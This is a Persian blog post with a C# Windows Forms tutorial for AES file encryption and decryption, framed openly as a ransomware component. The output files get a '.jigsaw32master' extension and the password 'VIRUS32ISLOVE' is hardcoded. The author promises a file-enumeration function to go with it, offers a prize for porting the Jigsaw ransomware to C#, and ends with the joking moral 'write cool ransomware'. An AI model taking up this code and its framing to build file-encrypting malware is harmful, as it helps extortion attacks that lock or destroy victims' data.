به نام خداوند بخشنده ی مهربان
سلام عزیزانم خوشگلانم و کاربران قشنگم، امروز یه پستی که هم خودم دوستش داشتم و هم بقیه تون و کلا همگی دوسش داریم رو منتشر میکنم D: بعله! رمزگزاری با سی شارپ D: من که میدونم این پست رو واسه چی میخوای شیطون بلا D: بزار یه تابع هم بعدا برات میزارم که کل فایل های یه پسوند خاص رو ببینی D: /: خب عشاق عزیز، بریم برای دیدن الگوریتم و این چرت و پرت ها :| خب کد خیلی زیاده و جدا توضیحش بسیار زمان بره ، چیز خاصی هم نداره !
نکته => اجزای کد رو باز کنید، توابع استفاده شده رو پیگیری کرده و کاربرد هر کدوم رو پیدا کنید، به کلاس ها خوب دقت کنید تا قشنگ براتون جا بیوفته! از این تکه کد هزار تا تکه کد دیگه هم میشه گرفت...
یه چیز دیگه هم بگم، این باج افزار جیگساو رو هرکی تونست الگوریتمش رو به سی شارپ تبدیل کنه یه جایزه از طرف من داره و به عنوان کاربر نمونه انتخاب میشه D: اگرم نتونستید خودم یه روز میزارم براتون => حیا کن :| برو برنامه ات رو بنویس برادر باج افزار چیه اخه :|
این پست رو شبونه دارم مینیوسم هرکی آیلاند هست یعنی واقعا در پی علم و در حال تبدیل شدن به یک برنامه نویس واقعی هست *_*
خب دیگه زیاد چرت و پرت گفتم، برید توی پروژه و کتابخونه های زیر رو پرت کنید تو پروژه :
using System.Security.Cryptography; //واسه رمزگزاری هامون
using System.Runtime.InteropServices; //API ویندوز
using System.Text; //تبدیل رمز و اطلاعات به باینری و اسکی و...
using System.IO; //کار با فایل ها
بعدم مواد لازم رو برای ساخت پروژه ی خوشمزه ادد کنید :
1 - ریچ تکست باکس ساده :|
2 - دو تا باتن از این خوشگلا *_*
خب من این پروژه رو با قابلمه ی سرویس ورکاچه ی 5 ظرفی ی مدل.... آخ اشتباه شد :|
خیلی هم عالی! دوشواری نداریم که! حالا بعد از این :
public MainForm() { // // The InitializeComponent() call is required for Windows Forms designer support. // InitializeComponent(); // // TODO: Add constructor code after the InitializeComponent() call. // }
این کد های مدیریت نشده و یسری تابع و این چرت و پرت ها رو بزارید :
[DllImport("KERNEL32.DLL", EntryPoint = "RtlZeroMemory")]
public static extern bool ZeroMemory(IntPtr Destination, int Length);
public static byte[] GenerateRandomSalt()
{
byte[] data = new byte[32];
using (RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider())
{
for (int i = 0; i < 10; i++)
{
rng.GetBytes(data);
}
}
return data;
}
private void FileEncrypt(string inputFile, string password)
{
byte[] salt = GenerateRandomSalt();
FileStream fsCrypt = new FileStream(inputFile+".jigsaw32master", FileMode.Create);
byte[] passwordBytes = System.Text.Encoding.UTF8.GetBytes(password);
RijndaelManaged AES = new RijndaelManaged();
AES.KeySize = 256;
AES.BlockSize = 128;
AES.Padding = PaddingMode.PKCS7;
var key = new Rfc2898DeriveBytes(passwordBytes, salt, 50000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CFB;
fsCrypt.Write(salt, 0, salt.Length);
CryptoStream cs = new CryptoStream(fsCrypt, AES.CreateEncryptor(), CryptoStreamMode.Write);
FileStream fsIn = new FileStream(inputFile, FileMode.Open);
byte[] buffer = new byte[1048576];
int read;
try
{
while ((read = fsIn.Read(buffer, 0, buffer.Length)) > 0)
{
Application.DoEvents();
cs.Write(buffer, 0, read);
}
fsIn.Close();
}
catch (Exception ex)
{
richTextBox1.Text = "Error: " + ex.Message;
}
finally
{
cs.Close();
fsCrypt.Close();
}
}
private void FileDecrypt(string inputFile, string outputFile , string password)
{
byte[] passwordBytes = System.Text.Encoding.UTF8.GetBytes(password);
byte[] salt = new byte[32];
FileStream fsCrypt = new FileStream(inputFile, FileMode.Open);
fsCrypt.Read(salt, 0, salt.Length);
RijndaelManaged AES = new RijndaelManaged();
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(passwordBytes, salt, 50000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Padding = PaddingMode.PKCS7;
AES.Mode = CipherMode.CFB;
CryptoStream cs = new CryptoStream(fsCrypt, AES.CreateDecryptor(), CryptoStreamMode.Read);
FileStream fsOut = new FileStream(outputFile, FileMode.Create);
int read;
byte[] buffer = new byte[1048576];
try
{
while ((read = cs.Read(buffer, 0, buffer.Length)) > 0)
{
Application.DoEvents();
fsOut.Write(buffer, 0, read);
}
}
catch (CryptographicException ex_CryptographicException)
{
richTextBox1.Text = "CryptographicException error: " + ex_CryptographicException.Message;
}
catch (Exception ex)
{
richTextBox1.Text = "Error: " + ex.Message;
}
try
{
cs.Close();
}
catch (Exception ex)
{
richTextBox1.Text = "Error by closing CryptoStream: " + ex.Message;
}
finally
{
fsOut.Close();
fsCrypt.Close();
}
}
به همین راحتی خوشمزگی قشنگی و نازی و مموسی و خوجملی و خلاصه هرچی :|
روی دکمه ی کننده (اینکریپت عاغا :| ) دو تا کلیک کنید برید به بخش کد هاش، کد های زیر رو بزنید :
string password = "VIRUS32ISLOVE"; GCHandle gch = GCHandle.Alloc(password, GCHandleType.Pinned); FileEncrypt(input, password); ZeroMemory(gch.AddrOfPinnedObject(), password.Length * 2); gch.Free();
به همین هلویی! خب دیگه نباید بگم ولی میگم :| جای input نیم فایل رو بزارید...
روی دکمه ی کننده (دیکریپت -_- ) دو تا کلیک بزنید وارد کد هاش بشید و حالا اینو بزنید :
string password = "VIRUS32ISLOVE"; GCHandle gch = GCHandle.Alloc(password, GCHandleType.Pinned); FileDecrypt(input , ounput, password); ZeroMemory(gch.AddrOfPinnedObject(), password.Length * 2); gch.Free();
به همین راحتی! تموم شد و رفت! هیچی دیگه از فردا آمار باج افزار 666 برابر میشه -_-
اگر مطالب رمزگزاری رو دوست دارید بگید براتون بیشتر بزاریم، چون تا حالا تو وب دربارش چیزی نوشته نشده و معمولا تو سایت های ایرانی وجود نداره...
*به قول دوستان(کیلر و ویروس و کدر و اتکر:| ) => باشد که رستگار شویم!*
سخن امروز => تهمت گناهی است که خداوند هرگز آن را نخواهد بخشید!
نویسنده: Attrib 32
نتیجه اخلاقی : تهمت نزنین، باج افزارای خفن بنویسین :) ولی نگرفتم چرا 666 ;)
باشد که رستگار شویم :)